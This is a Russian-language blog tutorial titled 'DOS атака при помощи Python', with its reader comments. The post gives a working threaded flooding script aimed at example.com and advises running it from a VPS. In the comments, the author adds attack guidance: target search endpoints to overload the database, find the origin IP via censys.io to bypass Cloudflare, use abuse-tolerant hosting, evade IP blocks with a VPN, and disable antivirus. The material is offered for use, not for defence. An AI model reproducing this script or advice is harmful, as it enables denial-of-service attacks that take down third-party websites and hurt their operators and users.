DOS атака при помощи Python
Для атак вида "DOS" используют один мощный сервер который посылает жертве столько запросов, что жертва не успевает обработать их и выдаёт ошибку 503 либо 504.
Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека "therading".
Пример простейшего скрипта для доса:
Скрипт рекомендую запускать только на мощных компьютерах а ещё лучше на VPS сервере. Вот наш скрипт в действии:
Так же советую попробовать новый ддос скрипт который использует вместо потоков асинхронный код
Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека "therading".
Пример простейшего скрипта для доса:
# coding: utf8 import threading import requests def dos(): while True: requests.get("http://example.com") while True: threading.Thread(target=dos).start()
Скрипт рекомендую запускать только на мощных компьютерах а ещё лучше на VPS сервере. Вот наш скрипт в действии:
Так же советую попробовать новый ддос скрипт который использует вместо потоков асинхронный код
Обожаю этот Pithon ^*
ОтветитьУдалитьпидарас
Удалитьне piton а python
Удалитьахахахахха хороооош
Удалитьаааа
Удалитьздравствуйте у меня вопрос откуда мне установить(взять) библиотеку threading подскажите пожалуйста
ОтветитьУдалитьПишите в терминале pip install threaded
УдалитьОна встроена в питон, её устанавливать ненужно!
УдалитьАахаххахахахаха «где мне установить библиотеку»
УдалитьБиблиотека уже встроена в Python, потому вы можете сразу импортировать её без установки
Удалитьхм странно я установил threading и почему то мне пишет RuntimeError: can't start new thread
ОтветитьУдалитьException in thread Thread-186:
Это нормально, просто скрипт создаёт в бесконечном цикле потоки и все уже упирается в процессор/память/ограничение ОС итд.
УдалитьЕсли у меня компьютер 64 битный, его можно назвать мощным?
ОтветитьУдалитьМожно назвать современнным :) 32 бит уже прошлый век.
Удалитьропрор
УдалитьДанная атака производится с одного пк, и положить сайт таким образом практически невозможно (сайты сделанные на коленке и установленные на дешёвый хостинг во внимание не берём). Вы просто себе забьёте канал, и ваш же провайдер пошлёт вас далеко-далеко
ОтветитьУдалитьВообще да, этот скрипт не совсем подходит для дудоса серьёзных сайтов. Но можно вместо while True: использовать например for _ in range(50): и тогда потоки не будут создаватся бесконечно.
УдалитьДудосы обычно делают с абузо устойчивых VPS, провайдерам которых на все всеравно.
Атаковать надо не просто сам корень сайта / а найти например get запрос на форму поиска и аттаковать поиск, тк запрос поиска требует много мощностей БД, то БД ляжет после пары запросов, и остальной сайт будет неработать.
вопрос если я буду атаковать на защищенный от ддос атак сайт ничего сайту не будет?
ОтветитьУдалитьДа, cloudflare например отфильтрует и заблокирует ваш IP. Чтобы атака нормально прошла в таком случае, нужно еще найти оригинальный IP через censys.io например, и атаковать его.
УдалитьСтойте а что будет если заблокируют ip адрес
Удалитьчто я не смогу заходить на сайт?
Или для моего ip адреса атаковать будет недоступно?
Да, заблокируют ваш IP и на сайт заходить не сможете. Но просто включите VPN например и можно будет дальше пользоваться.
Удалитьряльно мощная штука)
ОтветитьУдалитькак отключить эту хрень
ОтветитьУдалитьлол просто закрой процесс
Удалить
ОтветитьУдалитьмне приходят сообщения по типу "norton заблокировал атаку:Web Attack:Malicious Domains Request 3." что делать помогите как убрать !!!!!!!!
Выключи антивирус
УдалитьСлушайте я зашёл на pythonanywere.com и ввёл скрипт в новом файле и уменя консоль показала вот это:
ОтветитьУдалить_start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread
Сервис чтобы не нагружать сеть может отрубить скрипты (repl.it делает то же только лимиты там меньше кусают)
УдалитьЗдраствуйте,подскажите пожалуйста что делать если Python пишет "Invalid Syntax"?
ОтветитьУдалитьНадо понять на какой строчке этот инвалид синтаксис и почему он появился.
УдалитьМарат ору, кхуенно
УдалитьЛюди помогите, пишет под import requests ошибку
ОтветитьУдалитьImport "requests" could not be resolved from sourcePylancereportMissingModuleSource
подчеркивает желтым
еще это при запуске - Возникло исключение: ModuleNotFoundError
УдалитьNo module named 'requests'
Библиотека вообще установлена? Проверьте командой pip freeze.
УдалитьПодскажите пожалуйста, как шифровать посылаемый "мусор" ?
ОтветитьУдалитьSSH протокол в помощь
УдалитьШифровать от кого и зачем?
УдалитьПодскажите пожалуйста, как шифровать посылаемый "мусор" ?
ОтветитьУдалитьхотел спросить что сделать если я использую visual studio code и что будет если я захочу завершить процесс что мне сделать? и еще что будет с ноутом если я запущу этот ддос мой ноут не взорвется? 8гб оперативы ,190гб место есть
ОтветитьУдалитьЕсли в ноуте нету бомбы то недолжно.
Удалитьвфцыв
ОтветитьУдалитьОчень информативно, спасибо.
УдалитьА ддос работает?
ОтветитьУдалить